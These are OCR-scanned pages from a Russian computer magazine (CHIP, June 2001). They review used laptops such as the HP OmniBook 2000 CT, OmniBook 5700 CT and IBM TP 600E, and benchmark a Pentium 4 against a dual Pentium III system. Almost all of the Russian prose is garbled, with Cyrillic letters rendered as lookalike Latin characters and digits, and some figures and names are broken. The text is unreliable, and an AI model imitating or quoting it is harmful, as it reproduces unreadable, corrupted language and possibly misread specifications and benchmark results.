— OTcyTCTBMe CD-ROM npM Ha/i mh m m Sound- 
Blaster, K0/10H0K M MMKpOC|)OHa. 


OUEHKA 


7/10 — OneHb Ma/io naivmTM, M3-3a Hero npo- 
M3B0AMTe/ibH0CTb 3aMeTH0 HM>Ke Toshiba 
TP4900CT, HecMOTpn Ha 6onee MOLAHbm npo- 
peccop. 


>Ke B CaMbIX KpOXOTHbIX Mara3MHHMK3X 3a BnO/lHe 
pa3yMHbie AeHbrM. CpeAM HMXTfl>Ke/io Bbi6MpaTb 
jiyHWMe MOAe/iM. npoqeccopbi Pentium MMX 
166/200/233 MTu npaKTMHecKM hmhcm, KpoMe npo- 
M3B0AMTe/ibH0CTM, He OT/iMHaiOTCfl. flawe Te 6yKM, 
KOTOpbie npM3HaHbl «He/lMKBMAaMM», 06blHH0 MMeiOT 
npo6/ieMbi mribKO c auckoboasihm m 3anaAaioiAMMM 
K/iaBMLuaMM, pe>Ke — c CD-ROM. HeKOTopbie npo- 
AaBqbi necTHO npM3HaiOTCfl, hto no^roAa Ha3aA npM- 
Aep>KMBa/iM Pentium MMX 166/200/233 MTu 6yKM. 
Xoift ec^M 6biTb coBceM TOHHbiM, to Pentium MMX 
233 nony^^pHOCTbio He no^b3yeTC5i — caM npoqec- 
cop y>Ke nepepoc Pentium MMX 166, ho hmk3K He 
M0>KeT TiiraTbCii c Pentium II. B pe3y/ibraTe npoqec- 
cop — hm pbi6a, hm M5ico, a /uo6afl MOAe^b, co6paH- 
Ha^ Ha HeM, Bee paBHo o6oMAeTC5i He MeHbiue neM b 
$800. B noc/ieAHee BpeM^ c noiiB/ieHMeM aoct3toh- 
ho AeweBbix Pentium II 6yK0B nony/mpHOCTb Bcex 
nepBbix Pentium BOo6iAe 33MeTH0 yna/ia. 


CHIP 


M K) H b 


2 0 0 1 
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» HoBeMiuan iiCTopim 

B HacTO^iMee BpeM/i nepBbm Pentium b «AecKTonax» 
MO>KeT cepbe3H0 ncno/ib30BaTbai mnbKO b KanecTBe 
cfiaM/iOBbix cepBepoB, w/iio30b m npoKcn-cepBepoB. 
Hoyi6yKaM Ha 3 tom npoqeccope TO>Ke nopa HaHM- 
HaTbyxoflMTb c pbiHKa. B npnHqnne Hoyi6yKM caMM 
«nOHMMaiOT» 3TO, AOCTaTOHHO nonmaTb 06^/1 B/ieHMfl 
o npofla>Ke 6yKOB b Cein: 6o/ibwe no/iOBMHbi Bcex 
npoflaBaeMbix MOAe/ien co6paHbi Ha Pentium MMX 
133/166. Yxofl, no-BMflMMOMy, 6yqeT ao/itum m My- 
HMTe/lbHblM — y>K 6o/lbHO XOpOLLIM KOHC|)MrypaUMM 
MOfle/ieM, a no/iHa/i annapaTHaa coBMecmMOCTb no 
OTHOLueHMio k coBpeMeHHOMy nporpaMMHOMy o6ec- 
neneHMK) BOo6iAe eflMHCTBeHHbm cepbe3Hbin apry- 
MeHT npi/i Bbi6ope 6yxa. 

OflHaKO He 6yqeM cHo6aMM n nepcTBbiMM koh- 
cepBaiopaMM. 06paTMM BHMMaHne Ha 6yKM, KOTopbie 
eiMe no/iroAa Ha3afl CHMTa/iMCb BepxoM coBepiueHCT- 
Ba M CTOM/1M CTO/1 bKO >Ke, CKO/lbKO M «nopOAMCTa51 
CKaKOBaii -nomaflb». CaMbiMM nony/mpHbiMM «CKaKO- 
BbiMM ^oujaflbMM» 6a/ib3aKOBCKoro B03pada ab/ia- 
tOTCii MaiuMHbi, co6paHHbie Ha npoqeccope Pentium 
II 266 MTu. Bo/iee 6bicipbie npoqeccopbi HaMHoro 
Aopowe, nosTOMy BcrpenaiOTai peflKO. CKa3aTb hto- 
to onpefle^eHHoe o KOMn/ieKTyioiAMx Pentium II 6y- 
kob TpyflHO. TexHO/iorM/i 3a 5-6 /ieT pa3BMTM/i otto- 
neHa Be/iMKO/ienHo, Tax hto b Hacro/iLAee BpeM/i Bee 
«6arn» Hoyi6yKOB qe/inKOM n no/iHocrbio 3aBMCflT 
OT c6opKM, a 3H3HMT, M OT MMeHM npOM3BOAMTe/lfl. 
CaMbiMM nony/mpHbiMM moac/iamm ab/i/hotca fleTMiAa 
IBM, HP m Dell. /lMHeiiKM Toshiba m Compaq eme ao- 
daTOHHO Aoporne. Apyrue npoM3BOflMTe/iM m/im He- 
nony/mpHbi, n/in eiAe c/imwkom Aoporn. 

Hanoc/ieAOK ocra/iocb 3aMeTMTb, hto He cto- 
MT >KeCTKO npMB/13blBaTbCfl K npMBeASHHblM KOH- 
cfiMrypauM^M m qeHaM, Tax KaK Aawe b Mara3MHe 
BaM nepe6epyi 6yK Ae/inKOM m no/iHOCTbio, ao- 
6aB/iT hto yroAHO m b jiio6om ko/i nnecTBe. Ec/in 
>ne MCKaTb 6yx no o6i*jiB/ieHn/iM b CeTn, to Ma- 
llim H a o6oMAeTC5i BaM npMMepHO Ha neTBepTb Ae- 
weBjie. 

TeHpvi IlIennapA 


HP OMNIBOOK 2000 CT 


Pentium 133 MI"m 

32 M 6 aMT onepaTMBHOM naMflTM 
3 -AK)MM 0 BblM AMCKOBOA 1,44 M 6 anT 
2 T6aMT HDD 

VGA COLOR TFT 12,1-AionMOBbin 
SoundBlaster, Speakers, Mic. 

Modem 33.6 

PCMCIA, LPT, C0M1, COM2, DIN15, Keyboard, PS/2 
aKKyMy/mTop pa 6 oHMM 

UeHa $500 

K/iaccMHecKaa MaiuMHa b K/iaccnnecKOM KOMn/ieK- 
TaqMM. He paAyeT AM3anH, OAHaKO 3to He caMoe 
maBHoe. MaiuMHa npaKTMnecKM He rpeeTca m pa- 
6oTaeT oneHb tmxo. Bo/ibwnHCTBO aHa/ioroB HeceT 
Ha 6opTy He 6o/iee 16 M6aiiT onepaTMBHOM naM/iTM 
m MMeeT BMHHecTep obteMOM ao 1 PbaMT, nosTOMy 
3Ty MOAe^b CTOMT 0C06eHH0 BblAe^MTb. B OT/lMHMe 


OT CTaHAapTHbIX HaCTO/lbHblX CMCTeMHbIX 6 /iokob, 
KOTopbie co 6 Mpa/iMCb rj\s\ Pentium 133, He xBaTaeT 
TO/lbKO CD-ROM, M /lMLUb 3T0 06 CT 0 flTe/lbCTB 0 Me- 
iuaeT OTMeTMTb MOAe/ib KaK caMyio yAaHHyio no- 
KynKy. Xota b CBoe BpeM/i OHa TO>Ke 6 bi/ia nony- 
/mpHOM «pa 6 oneM /iowaAKOM». 



0I4EHKA 


9/10 — OTnMHHafl KOMn/ieKTauMH: Hi/inero /lnuiHe- 
ro m Bcero b Mepy. naivmTn pobho cmnbKO, 
CKO/lbKO noTpe 6 yeTca a/ih Windows 95, a BMHHec- 
Tepa Bno/iHe xbotmt atij-i no/iHOL/eHHon o 4 >mchom 
pa 6 oTbi. 


HP OMNIBOOK 5700 CT 


Pentium MMX 166 MIm 

48 M 6 aMT onepaTMBHOM naM^TM 
3 -AK)MM 0 BblM AMCKOBOA 1,44 M 6 aMT 


f Harare 

^ » 06/2001 


2 T6aMT HDD 

VGA COLOR TFT 12,1-AiOMMOBbiM 
SoundBlaster, Speakers, Mic. 

CD-ROM 20x 
Modem 33.6 

PCMCIA, LPT, C0M1, COM2, DIN15, Keyboard, PS/2, Ir 
aKKyMy/iflTop pa6oHMM 

UeHa $670 

B OT/iMHne ot HP OmniBook 2000 CT MOAe/ib 
yKOMn/ieKTOBaHa 6o^ee m o ia h bi m npoqeccopoM 
— Pentium MMX 166 — m npMBOAOM CD-ROM. 


Bo/ibwero He no>Ke^aeiub. BMAeonoACM- 
CTeMa nocTpoeHa Ha AOBO^bHo M3BecT- 
hom HMne Chips m yKOMn/ieKTOBaHa 
2 M6aMT BMAeonaM5iTM. riaM^TM nyTb 
6o^biue, neM 3 to Heo6xoAMMO, ho MaiuMHe c 
T3KMM npoqeCCOpOM 3T0 TO/1 bKO Ha nO/lb3y. M 
H TO 6 bl y>Ke OKOHHaTe/lbHO B/l K)6 MTbC/l B 3Ty 
Maui m H y, b Hen npeAycMOTpeH MHcfipaKpacHbiM 
nopT! 


0I4EHKA 


10/10 — Eo/ibwero He no/Ke^aemb. OcTaeTc^i 
B/no 6 /iJiTbcyi. C/i e Ay K) lamm npoL/eccop Pentium 
MMX 200 MTu MMeeT npoM3BOAMTe/ibHOCTb Bcero 
/lMLUb Ha 12% 6 o/ibmyio, neM y npoueccopa stom 
MOAe/iM, TaK hto MCKaTb cpeAM nepBbix Pentium 
6 o/iee cepbe3Hbm arperaT He ctomt. AnnapaT 3a- 
c/iy>KMBaeT 3H3 k «OnTMMa/ibHbiM Bbi 6 op Chip». 


Bo/ibLiiaH nacTb HoyT 6 yKOB npeAOCTaB/ieHa 4>mpmom 
Gilut Trading Company ( http://www.gilut.ru ) 



IBM TP 600E 


Pentium II 266 MI~m 

64 M 6 aMT onepaTMBHOM naMHTM 
3 -AK)MM 0 BblM AMCKOBOA 1,44 M 6 aMT 
4 rOaMT HDD 

VGA COLOR TFT 13,l-AK)MM0BbiM (1024x768) 
SoundBlaster, Speakers, Mic. 

CD-ROM 24x 
Modem 56K 

PCMCIA, LPT, CO Ml, COM2, DIN15, Keyboard, PS/2, Ir 
aKKyMy/iHTop pa 6 oHMM 

UeHa $1000 


HaBepHoe, 3 to ziyniua/i MOAe/ib M3 MauiMH noAo6- 
Horo K/iacca. OHa oneHb /lerKaa — oko/io 2 Kr; 
xot /1 npeMMyiAecTBO b Macce CB/i3aH0 c onpeAe- 
zieHHbiM HeAOCTaTKOM. TaK, y Hee TO/ibKO oaho 
rHe3A0 A-Jifl nepMcJ/epuMHoro pacuiMpeHM/i, KyAa 
MO>KHO BCTaBMTb / 1 m 6 o CD-ROM, / 1 m 6 o AMCKOBOA. 
ripaBAa, o6a 3 tm ycTpoMCTBa bxoa/it b KOMn/ieKT. 
BMAeocMCTeMa a®p>kmt pa3pemeHMe 1024x768 
nMKce/ieM. 


OUEHKA 


10/10 — Bno/iHe «BKycHan» MauiMHa. EcTb Bee, 
hto Hy>KHO a/ in no/iHOL/eHHOM pa 6 oTbi. Ho HMHero 
BbiAaioLAerocH a/i^ Tanoro K/iacca MauiMH He Ha- 
6 /iioAaeTCfl. flpocTo HaAe>KHayi m zierKaa MOAe/ib. 


CHIP 


M K) H b 


2 0 0 1 
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Pentium 4, 

Pentium III, Athlon m 

BCG; B By B e--- 

Pentium 4 n p otm b Dual Pentium III 1 


BoKpyr cn/iowHbie 3araflKM. 3araflOHHbie npopeccopbi Pentium 4 CKpbiBaioT cboh bo3mo>khoctm. 
3araflOHHbie noKynaTe/ui He xotat 3aHMMaTbCfl 3araflKaMM Pentium 4 m 3aKynaK)TCfl Athlon n Duron. 
HecMOTpn Ha to, hto HaHHHan c 386 npopeccopoB AMD npoHHO 3aHfl/ia MecTO oflHoro M3 KpynHenwMX 
npon3BOAMTe/ien flemeBbix npopeccopoB, MHorne no/ib30BaTe/in npoAO/UKaioT Konmb AeHbrn Ha HOBbie 
pa3pa6oTKM Intel. 


H ecMOTpfl Ha Bee cnopbi BOKpyr Athlon m 

Pentium 4, 6ypHyK) fleflTe/ibHOCTb Intel He 3a- 
MeTMTb HeB03M0>KH0. flaBHO Bbiwe/i Pentium 4 
1,4 ITu, m y>ne roTOBMTCii k MaccoBOM npofla>Ke npo- 
ueccop c TaKTOBoPi nacTOTOM 1,7 ITu. flawe ec/iM Bbi 
3a K/i53Tbi m Bpar Intel m m 3 nyBCTBa npoiecra roTOBbi 
CKynaTb mx npoueccopbi m flaBMTb mx KaTKOM, Bee 
paBHO ctomt my6oKO BfloxHyTb, HeMHoro ycnoKO- 
MTbCfl M nOCMOTpeTb, HTO >Ke 3TO TaKoe — 

Pentium 4. B Ao6aBOK He MeHee HeHaBMcmaa, ho 
B ee >Ke nony/mpHaa OC Windows o63aBe/iacb 
DirectX 8.0 c noflflepxtKOM hobnx KOMaHfl 
SSE2. fO/lbKO 3TOT CpaKT flO/DKeH Hadopa>KMBaTb — 


BcnoMHme, KaK «po>KAa^acb» TexHO/iorMA MMX: 
noHTM no/iroAa 6biTOBajio MHeHMe, hto <oto HMKOMy 
He Hy>KHO», 3aTeM noflBM/iMCb Mrpbi, KOTopbie MMe/iM 
o n 141/1 to Mcno/ib30BaHMii/HeMcno/ib30BaH MMX. B 
Aa/ibHeMiueM pa3HMLja Me>KAy P-150 m P-166MMX 
cra/ia npocTO rnraHTCKOM, TaK KaK nporpaMMHoe 
o6ecneHeHMe npaKTMHecKM Lte/iMKOM nepexoAM/10 
Ha HOByio CMCTeMy KOMaHA. B to >Ke BpeMA nonbiTKa 
AMD BHeApMTb cbok) TexHO/iormo 3DNow! 33K0hhm- 
ziacb no/iHbiM KpaxoM. Ecjim Intel yAa/iocb 3acra- 
BMTb no/ib30BaTe/ieM m pa3pa6oTHMKOB npM3HaTb 
MMX 6e3 HbeM-/iM6o iiomoiam, to «nponMXHyTb» 

SSE2 c noMOiAbio caMOM pacnpocrpaHeHHOM onepa- 


Amohhom CMCTeMbi 6yAeT jierne zierKoro. BTopbiM 
noBOAOM o6paTMTb BHMMaHMe Ha npoueccopbi Intel 
AB/meTca mx nacTOTa — Ka>KAbie Aea-TpM Mecaua 
06-bflB/meTCfl 0 noiiB/ieHMM eiAe 60/iee 6bicrporo 
npoueccopa. HapoAHaa /uo6oBb Bee paBHO He no- 
MO>KeT b 6^M>KaMiuee BpeMA AMD AorHaTb Intel, a 
3araAOHHbie c/iyxM 0 neM-TO hobom ot AMD noxa 
ocTaiOTC^ c/iyxaMM. 

Pa36MpaTb no no/ioHKaM oamh TO/ibKO Pentium 4 
CKyHHO, Heo6i>eKTMBO m myno. CpaBHeHMM c AMD 
6bl/10 AOCT3TOHHO MHOrO, B TOM HMC/ie M b HauieM 
>KypHa/ie. OAHaKO MHoroHMC/ieHHbie TecTMpoBiAMKM 
3a6bmM 0 AByxnpoueccopHbix cMcreMax. BeAb 


CHIP 


M K) H b 
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AByxnpoueccopHafl CMdeMa, cocia B/ieHHaji fla>Ke 
M3 npoueccopoB «npow/ioro noKO/ieHMfl», Bno/iHe 
MO>KeT KOHKypMpOBaTb C «nOKO/ieHMeM HblHeWHMM», 
oco6eHHO ec/iM b crapMKM 3anMcaTb Pentium III 
1 rri4. Heo6xoflMMO BOcno/iHMTb stot npo6e/i, TaK 
KaK MaiepMHCKMe n/iaTbi p,nn nc>Ao6Hbix cmctcm He- 
HaMHoro Aopo>Ke o6biHHbix, a ueHbi Ha npoueccopbi 
Pentium III asbho y>Ke yna/in. MHorne 3aMeTM/iM, 
hto b o6biHHOM CMTyaunn Pentium 4 BeAeT ce6a KaK 
Pentium III, npaKTMHecKM He BbiAe/macb npoM3BO- 
AMTe/ibHOCTbio, 3H3HMT ABa npoueccopa Pentium III 
npodo o6^3aHbi o6orHaTb Pentium 4. 

liTaK, f\nn TecTa ncno/ib30Ba/incb Ase MauniHbi: 

► Pentium 4 1,4 \Tu, r 256 M6aMT RIMM Samsung, 
MaiepMHCKaii n/iaTa Intel D850GB, Asus V7700 
GeForce 2, HDD DTLA 307030 30 r6anT. Ocra/ib- 
Hoe — npodo BKycHocrn, KOTopbie Ha npoM3BO- 
AMTe/ibHOCTb He B/infliOT, — Asus DVD, SB Live! 

► Dual Pentium III 1 \Tu, r 256 M6aMT DIMM 
Kingston, MaTepnHCKaa n/iaTa ABIT-VP6, Asus 



GeForce 2 GTS, HDD DTLA 307030 30 r6aMT. 0c- 
Ta/ibHoe — CDRW CDW 58E, SB PCI 128. 

TaK KaK BTopaa MaiiiMHa OT/innaeTCfl Heo 6 biHHOM 
KOHcjDMrypauMeM, to Ha Hen 6 bma ydaHOB/ieHa one- 
pauMOHHaa CMdeMa Windows 2000, noAAep>KMBaio- 
u\an ABa npoueccopa. llosTOMy p,nn KoppeKTHoro 
cpaBHeHMii 6 bma Mcno/ib 30 BaHa Ta >Ke BepcMa 
Windows m p,nn Pentium 4. 

3 apaHee npeAynpe>Ky, hto Bee TecTbi onMcaHbi b 
TOM nopflAKe, B KOTOpOM OHM 6 bl/lM BbinO/lHeHbl. Pe- 
3 y^bTaTbi oneHb HeoKMAaHHbie, m nosTOMy He ctomt 
A e/iaTb o 6 iAMe BbiBOAbi Ha ocHOBe stmx nacTHbix Te- 
CTOB. 

OcJjiiCHbie, rpac|)MHecKMe m eeKTopHbie 
npn/io>KeHMfl 

rioHiiTHO, hto oco 6 eHHoro npopbiBa npM pa 6 oTe c 
ocfiMCHbiMM npM/io>KeHMiiMM ot Pentium 4 >KAaTb He 
npMxoAMTC^. Pa 6 oTa b Word m/im Exel He Tpe 6 yeT 
Ha/iMHMii MOiAHoro npoueccopa, CKopee 6 o/iee Ba>K- 
Hbl KO/lMHeCTBO naMflTM M CKOpOCTb >KeCTKOTO AMC- 


Ka. TecT OfficeBench 6bi/i nponueH o6eMMM Manin- 
HaMM 3a npaKTMHecKM OAMHaKOBoe BpeMa: 

Pentium 4 yjio>KM/icfl b 40 ceKyHA, Dual Pentium III 
— b 35,5 ceKyHA- CTpaHHoe Ha nepBbin B3r/mA ot- 
CTaBaHMe KOMnbioTepa Ha 6a3e hoboto actmiab 
Intel o6bflCHfleTCfl Bcero/iMWb pa3HbiMM cba3K3mm 
«M 3TepnHCKafl n/iaTa - jkcctkmm amck». 

lloHTM Te >Ke pe3y/ibraTbi no/iynaiOTCfl n npM pa- 
60Te C paCTpOBbIMM M306pa>KeHM^MM. 06e MaiUMHbl 
cpaBHii/iMCb b ckopoctm npM /iMHeMHbix npeo6pa30- 
BaHMflx M3o6pa>KeHM^. 3am Pentium 4 nowe/i b ot- 
P bl B npM MCnO/lb30B3HMM CaMbIX npOCTblX cjDMJlbTpOB. 

O M/i bTp Blur (pa3MbiTMe) Bbino/iHaeTCfl hobwm 
npoueccopoM b 1,42 pa3a 6biCTpee, neM Aeyxnpo- 
ueccopHOM cMCTeMOM Ha 6a3e Pentium III. Bmammo 
Pentium 4 Hawe/i k neMy npn/ioKMTb cbom bo 3 mo>k- 
hoctm — Blur More (cn/ibHoe pa3MbiTMe) 6bi/i mm 
Bbino/iHeH b 3,57 pa3a 6biCTpee! llocTeneHHO da/io 
MeHATbCfl m OTHomeHMe k Pentium 4. OAHaKO HTo6bi 
y6eAMTbCfl, hto TaKOM pe3y/ibTaT He AB/meTca c/ieA- 
CTBMeM CKOpOCTM pa60Tbl naMflTM, Hy>KHO 6bmo 


CHIP 
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npoBepMTb npofleccop c noMOiflbio caMoro c/io>kho- 
ro C TOHKM 3peHM51 BblHMC/ieHMM MeflMaHHOTO CjDM/lbT- 
pa. llpnHflnn cjDM/ibTpa 3aK/noHaeTC/i b b bi h m c/i e h i/i m 
KOM noHeHTOB UBeia neKce/m Ha ocHOBe MaTpnflbi 
apKOCTen OKpy/Kaioiflnx nnKce/ien. TaKa/i MaTpnfla 
MO>KeT flOCTMraib pa3MepoB 24x24 tohkm, cootbct- 
CTBeHHO fl/m BbiHnc/ieHM/i UBeia OflHoro nnKce/m 
MO>KeT 6biTb 3afleMCTBOBaHO flo 576 flBeTOBbix Tpo- 
eK (R, G, B). IIoh/itho, hto o6pa6oTKa noflo6HbiM 
cjDM/ibTpoM fla>Ke He6o/ibworo n/iaKaTa cftopMaia A4 
MO>KeT 3aHATb HeMa/io BpeMeHM. Ha flByxnpoflec- 
cophom cMdeMe Adobe Photoshop 5.5 o6pa6aibi- 
Ba/i M3o6pa>KeHMe b 3600x3600 tohck MeflnaHHbiM 
cjDM/ibTpoM c 3aflaioifleH MaTpnflen 16x16 nnKce/ien 
oko/io 13 ceKyHfl, Korfla KaK Pentium 4 xBaTM/io 
Bcero 2,5 ceKyHflbi — BbiMrpbiiu, 6o/iee neM b 5 pa3! 

Adobe Illustrator n CorelDraw hmhcm He Bbifla/in 
cbomx npMdpacTMM. CKopocTM pa6oTbi o6eMx n/iaT- 
cj/opM npaKTMHecKM He OT/innaiOTC/i fla>Ke npn pa6o- 
Te c oneHb c/io>KHbiMH obteKTaMM. He6o/ibwoe npe- 
MMyiAecTBO Pentium 4 (oh 6bicipee b 1,2 pa3a) Bbi- 
r/i^AMT fla>Ke HecKO/ibKO crpaHHo Ha cfioHe o6eifla- 
hmm Intel, OflHaKO npodo 3anoMHMM 3tot dpa\n m 
npoflO/i>KHM fla/ibwe. 



I I Pentium III Q Pentium 4 


a Ha cxeMe hbho 3 aMeTeH CKanoK npon 3 - 
BOAHTe/ibiiocTM HOBbix npoijeccopoB 

MP3 

Intel He noflBe/i. Fraunhofer encoder b CB/i3Ke c 
Pentium 4 y/iown/icfl Bcero b 1 m m H yiy 25 ceKyHfl 
npn KOflMpoBaHMM 500-ceKyHflHoro wav-cfiaH/ia c 
bitrate 320 K6ht/c m h3Ctotoh 44 Krfl. flByxnpo- 
ueccopHOM CMdeMe Ha KOflnpoBaHne Toro >Ke cjaaM- 
s \ a noHaflo6n/iocb 3 MMHyTbi 6 ceKyHfl. IIoh/itho, 

HTO 3TOT pe3y^bTaT flOCTMTHyT He TO/1 bKO o6blHHblM 

yBe/iMHeHMeM nacTOTbi npofleccopa. 

Boo6ifle KOMn/ieKCHbiM 3Ta/ioHHbm TecT, pa3pa- 
6oTaHHbm KOMnaHMen SPEC, noKa3biBaeT 3aMeTHbin 
CKanoK npoM3BOflMTe/ibHOCTM Bcero ceMencTBa npo- 
fleccopoB Pentium 4. 

OpenGL 

OneHb MHorne nony/mpHbie m rpbi ncno/ib3yiOT 
CTaHflapT OpenGL, a TaK KaK Pentium 4 «o6eiflaeT» 
6ecnpeuefleHTHyio CKopocTb o6pa6oTKM TpexMep- 
HOM rpacjDMKM, TO 060MTM BHMM3HMeM 3TOT TeCT 
He/ib3/i. Ho Heo6xoflMMO ynedb, hto Microsoft 
ycM/ieHHO npoflBMraeT co6dBeHHyio TexHO/iornio 
Direct3D. TyT-TO m HannHaiOTC/i CTpaHHOCTM. 


Quake 3 Arena, ncno/ib3yioifla5i CTaHflapT 
OpenGL, cpa3y noc/ie 3arpy3KM CMCTeMbi BbiflaeT 
132 Kaflpa b ceKyHfly Ha DemoOOl npn 
640x480 @ 16 6mt Ha Pentium 4 n 127 KaflpoB Ha 
Demo002 npn Bcex BK/uoneHHbix acjDcjDeKTax. 
Bno/iHe npn/iMHHbie pe3y/ibTaTbi, ec/iM He 
yHMTbiBaTb toto, hto Pentium III (b flaHHOM c/iy- 
nae HMKaKOM OTflaHM ot Ha/iMHM/i flByx npoflecco- 
POB HeT, TaK KaK MCnOJlb3yeTCfl TO/lbKO OflM h) b 
tom >Ke pa3peiueHMM BbiflaeT 115 KaflpoB b ceKyH- 
fly Ha DemoOOl m 111 — Ha Demo002. npnpod 
CKopocTM HOBoro npofleccopa AencTBMTe/ibHo 
npocTO He3HaHMTe/ieH. 3to fla>Ke He BnncbiBaeTca 
b o/KMflaeMbie pe3y/ibTaTbi, KOTopbie flo/i>KHbi 6bi/iM 
no/iyHMTbc/i M3-3a 6o/iee bwcokoh nacTOTbi Ha ko- 
Topoii pa6oTaeT Pentium 4. Eifle Tpn nonbiTKM 
npoBecTM TecT noKa3a/iM Te >Ke pe3y/ibTaTbi. HaKO- 
Heu b ro/iOBy npuiu/ia Hfle/i «nporHaTb» Quake 
nofl Linux. 

C 3arpy30HHoro KOMnaKTa 6bi/io 3anyifleHO /ifl- 
po Linux 6.2 m no ziOKa/ibHon ceTM noflrpy>KeHa 
ocTaBwa/ic/i nacTb onepaflHOHHon CMCTeMbi, TaK 
KaK TpaTMTb BpeM/i Ha ycTaHOBKy onepaflMOHHOM 
CMCTeMbi He xoTe/iocb — c TpyflOM BepM/iocb, hto 
M oryT 6biTb OT/iMHHbie ot no/iyneHHbix pe3y/ibTaTbi. 
ripMUJ/lOCb OTKa3aTbC/l OT HaCTpOMKM 3ByKa, TaK 
KaK 3aHMM3Tbc/i nepeKOM n H/m flnen /iflpa He 6bi/io 
bo3mo>khoctm. HaKOHefl Q3A 6bi/i 3anyifleH — pe- 
3y/ibTaTbi npocTO owe/iOM/i/iioiflHe: Ha DemoOOl 
Pentium 4 Bbifla/i 247 KaflpoB b ceKyHfly! HTo6bi 
ynecTb OTcyTCTBMe 3ByKa b TecTe nofl Linux eifle 
pa3 npMiu/iocb nporHaTb npofleccop b TecTe nofl 
Windows 2000 Professional c OTK/noneHHbiM flpan- 
BepoM 3ByKOBOM KapTbi. Pe3y/ibTaT Bee paBHo He 
BnenaT/i/ieT — Bcero 146 KaflpoB b ceKyHfly. TecT 
Dual Pentium III nofl Linux noBTopMTb pe3y/ibTaTa 
Pentium 4 He cmot: Bcero /i m lu b 130 KaflpoB b ce- 
KyHfly Ha DemoOOl. 

CaM co6om HanpaiuMBaeTC/i BbiBOfl, hto npoflec- 
cop Pentium 4 AencTBMTe/ibHo cn/ibHo OT/iMHaeTC/i 
ot CBoero npeflwecTBeHHMKa Pentium III, ho one- 
paflMOHHa/i CMCTeMa Windows 2000 b OpenGL ynop- 
HO 3TO CKpbIBaeT. LinUX flOCTaTOHHO CTapoM BepcMM 
OKa3a/ic/i 6o/iee flpy>Ke/no6HbiM no OTHoiueHMio k 
HOBOM y npoflecopy, xota hmk3Kmx cneflMa/ibHbix 
MHCTpyMeHTOB fl/i/i 3Toro He MMeeT. OcTaeTC/i To/ib- 
ko floraflbiBaTbc/i o pa3/iMHM/ix b KOfle Quake 3 nofl 
Linux m Windows. 

Direct3D 

TyT-TO m HacTynaeT npa3flHMK Ha y/iMfle 
Microsoft. Xot/i m HecKO/ibKO noflnopneHHbiM TeM, 
hto Linux He MO>KeT noKa3aTb ce6/i b stom TecTe. 
Pentium 4 b 3Dmark2001 noKa3biBaeT BnenaT/i/i- 
loiflMe pe3y/ibTaTbi, ho Bee >Ke toto rnoKa, koto- 
pbiM conpoBO>Kfla/ic/i BbiBOfl pe3y/ibTaTOB TecTa 
nofl Linux, y>Ke He 6bi/io. TecT «0flapM/i» flByx- 
npofleccopHyio CMCTeMy Ha Pentium III Bcero 
1804 OHK3MM, b to BpeM/i KaK Pentium 4 3apa6o- 
Ta/l 2640 OHKOB. ripM 3TOM Hy>KHO yHMTbiBaTb, HTO 
b Windows 2000 c DirectX Mcno/ib3yiOTC/i o6a 


npofleccopa flByxnpofleccopHOM CMCTeMbi, b ot/im- 
HMe ot TecTa OpenGL. 

OflHonpofleccopHa/i cmctcms Ha Pentium III 
flOBO/ibCTBOBa/iacb Bcero ziMiub 1056 ohk3mm. 

TecT npM Tex >Ke yc/iOBM/ix, ho c DirectX 7.0, nofl- 
TBep/KflaeT 3a/iB/ieHM/i Microsoft o tom, hto ho- 
Bbm DirectX pa3pa6oTaH c yneTOM KOMaHfl SSE2. 

B o6ifleM >Ke pa3BMTMe noflflep>KKM Pentium 4 
y>Ke Ha6MpaeT o6opoTbi. B Hana/ie anpe/i/i no/iBM- 
/iMCb HOBbie ApatiBepa Detonator 12 fl/i/i Windows 
2000 ot NVIDIA, l/lx r/iaBHa/i oco6eHHOCTb — na- 
CTMHHa/i noflflep>KKa HOBbix MHCTpyKflMM npoflec- 
copa Pentium 4. TaK hto Tenepb OKOHHaTe/ibHO 
CTaHOBMTC/l /1CHO, Kyfla K3TMTC/1 MMp, M OTKyfla 
pacTyT hotm: Beflb NVIDIA pa3pa6aTbiBaeT rpa- 
Cj/MHeCKMM HMn fl/lfl KOHCO/lbHOTO fleTMlfla 

Microsoft X-Box. 

BMflMMO npMfleTC/i npM3HaTb, hto Pentium 4 
AeMCTBMTe/ibHo npeflCTaB/i/ieT co6om hchto coBep- 
UieHHO HOBOe. llpOCTO COBpeMeHHbIM cocJdt He B co- 
cto/ihmm noKa Mcno/ib30BaTb Bee ero bo3mo>khoctm. 
KaK HM CTpaHHO, 6o/lbLUMHCTBO 0630p0B CpaBHMB3- 
kdt «npoM3BOflMTe/ibHbiM Athlon» m Pentium 4 c 
TOHKM 3peHM/l COBpeMeHHOTO no/ib30BaTe/i/i. 3to 
noBTopeHMe oujm6km c MMX. Kohchho, eifle no/irofla 
no/ib30BaTe/iM 6yflyT npaBbi, flyMa/i hto ec/iM 
Athlon 1,1 rrfl ropa3flO npoM3BOflMTe/ibHee 
Pentium 4 1,4 rrfl, to KaKOM CMbic/i noKynaTb flopo- 
roPi Pentium? ripaBM/ibHO, HMKaKoro. OflHaKO npo- 
fleccop AMD pa6oTaeT, Mcno/ib3y/i Bee cbom pecyp- 
cbi, m oneHb peflKO kto 3aMenaeT, hto Pentium 4 no- 
Ka pa6oTaeT c ucno/ib30BaHneM MHCTpyKflMM 
Pentium III. 

no/iyHaeTC/i flOBO/ibHo CTpaHHa/i CMTyaflM/i. Eifle 
He cyiflecTByeT fla>Ke TexHO/iorMHecKMx fleMonpo- 
rpaMM, KOTopbie CMor/iM 6bi noKa3aTb flePicTBMTe/ib- 
Hyio npoM3BOflMTe/i bHOCTb npofleccopa ot Intel. 
no/iyHaeTC/i, hto Athlon m Dual Pentium III npefl- 
CTaB/i/noT co6om Bno/iHe coBpeMeHHbie, MoiflHbie m 
npn 3tom fleiueBbie CMCTeMbi. Pentium 4 noKa hm- 
KaK ce6/i He npo/iBM/i, ho HaBMcaeT yrpo3on Bceo6- 
iflero BHeflpeHM/i hobnx SSE2 MHCTpyKflMM, 6/iarofla- 
p/i neMy AMD npnfleTC/i noflHanp/iHbc/i, a Pentium 
III ynfleT b npoiu/ioe. CoMHeBaTbc/i b 6yqyifleM yc- 
nexe Intel He npnxoflMTC/i. 

llonoMHMTe Moe c/iobo — HaM ocTa/iocb Bcero 
no/irofla 6e3o6/iaHHOM yBepeHHOCTH b npaBM/ibHoc- 
tm Bbi6opa npofleccopa. 

A noKa Hac/ia>KflaMTecb, nocMOTpMTe BOKpyr — 
BecHa, nTMHKM, fleByuiKM... 

P. S. Eme oaho MHTepecHoe 
Ha6/iiOAeHMe: 

